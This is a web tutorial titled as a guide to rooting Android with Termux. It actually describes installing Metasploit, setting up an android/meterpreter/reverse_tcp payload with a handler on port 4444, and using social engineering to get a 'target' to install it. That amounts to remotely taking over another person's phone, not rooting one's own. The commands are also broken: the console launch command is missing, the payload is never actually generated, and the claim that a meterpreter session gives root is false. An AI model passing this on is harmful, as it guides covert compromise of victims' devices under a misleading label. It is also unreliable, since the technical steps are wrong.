Root Android Using Termux

Rooting an Android device gives you complete control over your device and enables you to customize it to your liking. However, rooting a device can be a complicated and risky process if you don’t know what you’re doing. In this article, we’ll show you how to root android using termux, termux a popular terminal emulator and Linux environment for Android.

Before we begin, it’s important to note that rooting your phone can void your device’s warranty and may cause irreversible damage to your device if not done properly. We recommend taking a backup of your device before proceeding with the rooting process.

Install Termux

First, you need to download and install Termux from the Google Play Store to root android using Termux. Termux is a powerful terminal emulator that lets you access the Linux environment on your Android device. It provides a full-fledged Linux terminal, complete with all the necessary tools and utilities required to root your device.

Install Rooting Tools

Once you have installed Termux, you need to install the necessary tools to root mobile. The first tool you need to install is the Metasploit framework. Metasploit is a powerful penetration testing tool that can be used to root mobile/ android devices.

To install Metasploit, launch Termux and type the following command:

pkg install unstable-repo
pkg install metasploit

This will install the latest version of Metasploit on your device.

Root Android Phone

Now that you have installed the necessary tools, you can start rooting your device. To do this, you need to create a payload using Metasploit and install it on your device. Once installed, the payload will exploit a vulnerability in the Android system and grant you root access.

To create a payload, launch Metasploit by typing the following command in Termux:


Once you’re in the Metasploit console, type the following command to create a payload:

use android/meterpreter/reverse_tcp
set LPORT 4444
set RPORT 4444

This will create a payload and start a listener on your machine. Next, you need to install the payload on the target device. To do this, you can use a social engineering technique to convince the target to install the payload on their device.

Once the payload is installed, you can connect to the device using Metasploit by typing the following command:

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LPORT 4444

This will establish a connection to the device and give you root access.


Rooting an Android device can be a complex process, but using Termux and Metasploit can make the process easier and more accessible. By following these steps, you can root your Android device and gain complete control over your phone. However, it’s important to remember that rooting your device can have consequences, so proceed with caution and take proper precautions before attempting to root your phone.

Related Articles

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Back to top button